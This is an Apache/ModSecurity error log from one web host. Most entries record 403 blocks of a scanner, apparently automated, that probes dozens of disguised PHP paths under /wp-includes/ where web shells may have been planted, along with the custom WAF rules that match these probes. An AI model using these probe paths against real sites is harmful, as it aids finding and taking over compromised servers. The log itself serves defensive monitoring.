[Sun Mar 15 10:49:16.113789 2026] [:error] [pid 38536:tid 38562] [client 119.28.177.175:33006] [client 119.28.177.175] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "abYeLPpTEqkVJ0rBEWvTtAAAAAk"]
[Sun Mar 15 10:49:16.852767 2026] [:error] [pid 38536:tid 38559] [client 212.30.33.101:42111] [client 212.30.33.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ln/class-wp-widddget-pages.php"] [unique_id "abYeLPpTEqkVJ0rBEWvTygAAAAY"]
[Sun Mar 15 10:49:18.887505 2026] [:error] [pid 38541:tid 38634] [client 212.30.33.68:35215] [client 212.30.33.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "abYeLnuOpex8jIO0jt5FaQAAAJU"]
[Sun Mar 15 10:49:22.142330 2026] [:error] [pid 9995:tid 10001] [client 212.30.33.166:45965] [client 212.30.33.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-xml.php"] [unique_id "abYeMga8xkcaSmgTbwg-FgAAAQM"]
[Sun Mar 15 10:49:24.603199 2026] [:error] [pid 38536:tid 38571] [client 212.30.33.101:37257] [client 212.30.33.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/id/wp-work.php"] [unique_id "abYeNPpTEqkVJ0rBEWvUQgAAABI"]
[Sun Mar 15 10:49:25.422301 2026] [:error] [pid 38540:tid 38602] [client 212.30.33.101:59359] [client 212.30.33.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/db.php"] [unique_id "abYeNV8bnHsJ1dE90bIuhgAAAFA"]
[Sun Mar 15 10:49:28.345338 2026] [:error] [pid 38645:tid 38668] [client 212.30.33.88:60665] [client 212.30.33.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-phpmailer-beta.php"] [unique_id "abYeOBFPHtsDUuVrWDa9MQAAANU"]
[Sun Mar 15 10:49:29.168677 2026] [:error] [pid 42570:tid 42597] [client 212.30.33.59:58859] [client 212.30.33.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ms-file.php"] [unique_id "abYeOcIUXZJLmk_gYCOsqgAAAZg"]
[Sun Mar 15 10:49:30.930828 2026] [:error] [pid 38541:tid 38617] [client 212.30.33.92:24309] [client 212.30.33.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-packages.min.php"] [unique_id "abYeOnuOpex8jIO0jt5GKwAAAIQ"]
[Sun Mar 15 10:49:32.176008 2026] [:error] [pid 42570:tid 42577] [client 212.30.33.79:41601] [client 212.30.33.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/Text/index.php"] [unique_id "abYePMIUXZJLmk_gYCOs5AAAAYQ"]
[Sun Mar 15 10:49:33.010641 2026] [:error] [pid 42570:tid 42583] [client 212.30.33.57:34245] [client 212.30.33.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-boolean.php"] [unique_id "abYePcIUXZJLmk_gYCOtDgAAAYo"]
[Sun Mar 15 10:49:36.442989 2026] [:error] [pid 50986:tid 51004] [client 212.30.33.65:52357] [client 212.30.33.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/count.php"] [unique_id "abYeQCknK4c779bcQqH68AAAAU8"]
[Sun Mar 15 10:49:38.496332 2026] [:error] [pid 38540:tid 38601] [client 212.30.33.76:51279] [client 212.30.33.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ln/class-wp-translations-library.php"] [unique_id "abYeQl8bnHsJ1dE90bIvQAAAAE8"]
[Sun Mar 15 10:49:40.151889 2026] [:error] [pid 38645:tid 38651] [client 212.30.33.79:28829] [client 212.30.33.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ln/class-wp-translations-interface.php"] [unique_id "abYeRBFPHtsDUuVrWDa95wAAAMQ"]
[Sun Mar 15 10:49:42.226014 2026] [:error] [pid 38645:tid 38651] [client 212.30.33.179:60503] [client 212.30.33.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-upload-control-cookie.php"] [unique_id "abYeRhFPHtsDUuVrWDa9_QAAAMQ"]
[Sun Mar 15 10:49:43.884852 2026] [:error] [pid 38541:tid 38625] [client 212.30.33.55:56883] [client 212.30.33.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/file/wp-style.php"] [unique_id "abYeR3uOpex8jIO0jt5G5gAAAIw"]
[Sun Mar 15 10:49:45.134793 2026] [:error] [pid 38645:tid 38659] [client 212.30.33.70:28169] [client 212.30.33.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/lib/widget-group.php"] [unique_id "abYeSRFPHtsDUuVrWDa-LgAAAMw"]
[Sun Mar 15 10:49:45.960634 2026] [:error] [pid 50986:tid 51008] [client 212.30.33.61:51321] [client 212.30.33.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/aw.php"] [unique_id "abYeSSknK4c779bcQqH7VQAAAVM"]
[Sun Mar 15 10:49:47.206419 2026] [:error] [pid 9995:tid 10012] [client 212.30.33.97:24965] [client 212.30.33.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/install.php"] [unique_id "abYeSwa8xkcaSmgTbwg_HAAAAQ4"]
[Sun Mar 15 10:49:48.019324 2026] [:error] [pid 50986:tid 50993] [client 212.30.33.92:40083] [client 212.30.33.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/footer-embed-function.php"] [unique_id "abYeTCknK4c779bcQqH7gwAAAUU"]
[Sun Mar 15 10:49:48.835167 2026] [:error] [pid 38541:tid 38624] [client 212.30.33.101:56079] [client 212.30.33.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/alfa-rex.php"] [unique_id "abYeTHuOpex8jIO0jt5HIgAAAIs"]
[Sun Mar 15 10:49:55.453686 2026] [:error] [pid 38645:tid 38660] [client 212.30.33.56:47385] [client 212.30.33.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-error-module.php"] [unique_id "abYeUxFPHtsDUuVrWDa-sQAAAM0"]
[Sun Mar 15 10:49:57.487590 2026] [:error] [pid 9995:tid 10001] [client 212.30.33.213:56299] [client 212.30.33.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-background-position-control-variable.php"] [unique_id "abYeVQa8xkcaSmgTbwg_agAAAQM"]
[Sun Mar 15 10:49:59.537179 2026] [:error] [pid 38540:tid 38589] [client 212.30.33.71:38459] [client 212.30.33.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID/module.audio-video.riff-set.php"] [unique_id "abYeV18bnHsJ1dE90bIwTQAAAEM"]
[Sun Mar 15 10:50:00.778013 2026] [:error] [pid 38540:tid 38603] [client 212.30.33.164:39883] [client 212.30.33.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-walker-comment-client.php"] [unique_id "abYeWF8bnHsJ1dE90bIwYwAAAFE"]
[Sun Mar 15 10:50:01.580250 2026] [:error] [pid 38541:tid 38616] [client 212.30.33.213:62917] [client 212.30.33.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-taxonomy.editor.php"] [unique_id "abYeWXuOpex8jIO0jt5H3gAAAIM"]
[Sun Mar 15 10:50:04.085188 2026] [:error] [pid 50986:tid 50998] [client 212.30.33.88:26067] [client 212.30.33.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/doc.php"] [unique_id "abYeXCknK4c779bcQqH8ZAAAAUk"]
[Sun Mar 15 10:50:06.554416 2026] [:error] [pid 9995:tid 10019] [client 212.30.33.164:38889] [client 212.30.33.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID/module.audio-license.php"] [unique_id "abYeXga8xkcaSmgTbwg_5AAAARU"]
[Sun Mar 15 10:50:08.181490 2026] [:error] [pid 42570:tid 42597] [client 212.30.33.190:48083] [client 212.30.33.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/class_api.php"] [unique_id "abYeYMIUXZJLmk_gYCOvnAAAAZg"]
[Sun Mar 15 10:50:08.998194 2026] [:error] [pid 9995:tid 9999] [client 212.30.33.55:51097] [client 212.30.33.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "abYeYAa8xkcaSmgTbwg__wAAAQE"]
[Sun Mar 15 10:50:10.249508 2026] [:error] [pid 38536:tid 38566] [client 212.30.33.97:35857] [client 212.30.33.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/load.php"] [unique_id "abYeYvpTEqkVJ0rBEWvV-gAAAA0"]
[Sun Mar 15 10:50:11.077370 2026] [:error] [pid 38645:tid 38652] [client 212.30.33.82:29063] [client 212.30.33.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-interpreter.php"] [unique_id "abYeYxFPHtsDUuVrWDa_gAAAAMU"]
[Sun Mar 15 10:50:11.876247 2026] [:error] [pid 38645:tid 38670] [client 212.30.33.88:22573] [client 212.30.33.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/admin.php"] [unique_id "abYeYxFPHtsDUuVrWDa_iwAAANc"]
[Sun Mar 15 10:50:13.138619 2026] [:error] [pid 38541:tid 38623] [client 212.30.33.65:55239] [client 212.30.33.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-json-ajax-session.php"] [unique_id "abYeZXuOpex8jIO0jt5IkQAAAIo"]
[Sun Mar 15 10:50:13.959933 2026] [:error] [pid 38540:tid 38604] [client 212.30.33.53:64995] [client 212.30.33.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-entry.min-object.php"] [unique_id "abYeZV8bnHsJ1dE90bIw9QAAAFI"]
[Sun Mar 15 10:50:16.001684 2026] [:error] [pid 50986:tid 51003] [client 212.30.33.190:49139] [client 212.30.33.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/input.php"] [unique_id "abYeaCknK4c779bcQqH9KQAAAU4"]
[Sun Mar 15 10:50:17.229344 2026] [:error] [pid 50986:tid 51000] [client 212.30.33.62:21421] [client 212.30.33.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/about.php"] [unique_id "abYeaSknK4c779bcQqH9TwAAAUs"]
[Sun Mar 15 10:50:18.042955 2026] [:error] [pid 38540:tid 38610] [client 212.30.33.61:22055] [client 212.30.33.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/about.php"] [unique_id "abYeal8bnHsJ1dE90bIxKQAAAFg"]
[Sun Mar 15 10:50:18.844682 2026] [:error] [pid 38536:tid 38564] [client 212.30.33.96:36201] [client 212.30.33.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/about.php"] [unique_id "abYeavpTEqkVJ0rBEWvWWgAAAAs"]
[Sun Mar 15 10:50:19.651166 2026] [:error] [pid 9995:tid 10000] [client 212.30.33.99:43095] [client 212.30.33.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-selective-refresh-library.php"] [unique_id "abYeawa8xkcaSmgTbwhAkAAAAQI"]
[Sun Mar 15 10:50:21.277961 2026] [:error] [pid 38536:tid 38565] [client 212.30.33.88:44611] [client 212.30.33.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/wp-load.php"] [unique_id "abYebfpTEqkVJ0rBEWvWcwAAAAw"]
[Sun Mar 15 10:50:22.089120 2026] [:error] [pid 50986:tid 51001] [client 212.30.33.58:57787] [client 212.30.33.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-template-utils-other.php"] [unique_id "abYebiknK4c779bcQqH9fQAAAUw"]
[Sun Mar 15 10:50:23.712153 2026] [:error] [pid 38541:tid 38634] [client 212.30.33.53:57221] [client 212.30.33.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/wp-load.php"] [unique_id "abYeb3uOpex8jIO0jt5JFQAAAJU"]
[Sun Mar 15 10:50:24.525301 2026] [:error] [pid 42570:tid 42597] [client 212.30.33.60:60711] [client 212.30.33.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-modules-packages-react.php"] [unique_id "abYecMIUXZJLmk_gYCOw5wAAAZg"]
[Sun Mar 15 10:50:26.147873 2026] [:error] [pid 38536:tid 38563] [client 212.30.33.92:44493] [client 212.30.33.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/font-editor.php"] [unique_id "abYecvpTEqkVJ0rBEWvWrQAAAAo"]
[Sun Mar 15 10:50:26.955313 2026] [:error] [pid 42570:tid 42595] [client 212.30.33.94:27033] [client 212.30.33.94] ModSecurity: Access denied with code 403 (phase 2). String match ".php" at REQUEST_FILENAME. [file "/usr/local/apache/modsecurity-cwaf/rules/24_Apps_Joomla.conf"] [line "74"] [id "240000"] [rev "1"] [msg "COMODO WAF: Protecting Joomla folder||measureyourbrand.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Joomla"] [hostname "measureyourbrand.com.au"] [uri "/images/stories/themes.php"] [unique_id "abYecsIUXZJLmk_gYCOxIAAAAZY"]
[Sun Mar 15 10:50:27.774072 2026] [:error] [pid 42570:tid 42584] [client 212.30.33.94:27033] [client 212.30.33.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "abYec8IUXZJLmk_gYCOxRAAAAYs"]
[Sun Mar 15 10:50:36.866892 2026] [autoindex:error] [pid 38540:tid 38590] [client 212.30.33.64:64611] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 15 11:53:35.871008 2026] [:error] [pid 50986:tid 51001] [client 43.167.241.46:60668] [client 43.167.241.46] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abYtPyknK4c779bcQqEsBQAAAUw"]
[Sun Mar 15 13:01:37.284514 2026] [:error] [pid 38540:tid 38589] [client 125.75.66.97:45488] [client 125.75.66.97] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abY9MV8bnHsJ1dE90bJLEwAAAEM"]
